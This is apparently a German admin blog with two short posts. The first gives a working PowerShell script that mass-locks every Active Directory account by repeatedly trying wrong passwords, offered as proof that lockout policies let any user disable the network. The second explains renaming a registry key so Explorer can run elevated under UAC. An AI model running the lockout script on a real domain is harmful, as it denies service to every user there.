[ [For an ENGLISH version, click this line!]]

Die Idee zu diesem Miniskript kam mir beim Lesen von Tweets in der Bahn; der Kollege Nils Kaczenski beklagte sich (zu Recht), wie leicht es in vielen Fällen doch sei, als Standardbenutzer ein komplettes Intranet lahm zu legen. Als ein in einem weiteren Tweet gefragt wurde, wie das ginge, war ich versucht die nachfolgenden Zeilen direkt zu twittern, aber das war mir dann angesichts der 140 Zeichenbegrenzung und der vielen Sonderzeichen doch ein wenig zu umständlich. Kommen wir nun also zum Kochrezept und bitte NICHT in der Produktivumgebung einsetzen! $domain = (Get-ADDomain).Name $dc = (Get-ADDomainController | Select-Object -First 1).Name $me = $env:username $t = (Get-ADDefaultDomainPasswordPolicy).LockoutThreshold Get-ADUser -Filter { samaccountname -notlike $me } | % { $user = $_.SamAccountName 0..$t | % { net use \\$dc /user:$domain\$user TEST } } Erklärung erforderlich? Eigentlich alles ganz einfach: Ich unterstelle, dass Nils Aussage auf die populäre Technik der Kontensperrungsrichtlinie abhebt. Von vielen als Sicherheitsfunktion betrachtet, hat dies leider den Seiteneffekt, dass jeder Anwender einen beliebigen anderen Anwender aussperren kann. Einfach den Benutzernamen des Kollegen oder der Kollegin eingeben und mehrfach ein falsches Passwort übergeben. Das kann jeder, der sich in irgendeiner Form mit einem Computer der AD-Domäne verbinden kann. Die Lösung des Problems ist also ebenfalls offensichtlich: einfach keine Kennwortsperrung konfigurieren.

[ For an ENGLISH version, click this line!]

Seit Microsoft mit Vista die Benutzerkontensteurung (“User account control”) einführte, stellte diese sicherheitsrelevante Neuerung Administratoren vor Herausforderungen. Besonders fragwürdig erscheint es, dass sich der Windows Explorer nur dem ersten Anschein nach mit erweiterten Rechten starten lässt. In der Grundkonfiguration erscheint zwar der Erweiterungsdialog (“Elevation prompt”), die Rechte des Anwenders werden aber nicht erweitert. Gleiches gilt unabhängig davon, ob der Anwender mit einem administrativen Konto angemeldet ist (als “Protected Admin”) oder sich impersonifiziert. Das System unterscheidet auch nicht zwischen “Run as administrator” und “Run as different user”.

Gut versteckt im Betriebssystem findet sich ein Registry-Key, der es erlaubt, den Explorer.exe-Prozess mit erweiterten Rechten zu starten:

HKEY_CLASSES_ROOT\AppID\{CDCBCFCA-3CDC-436f-A4E2-0E02075250C2}\RunAs

Löscht oder ändert man den o.g. Schlüssel (zum Beispiel in “RunA_”) lässt sich der Explorer mit erweiterten Rechten starten.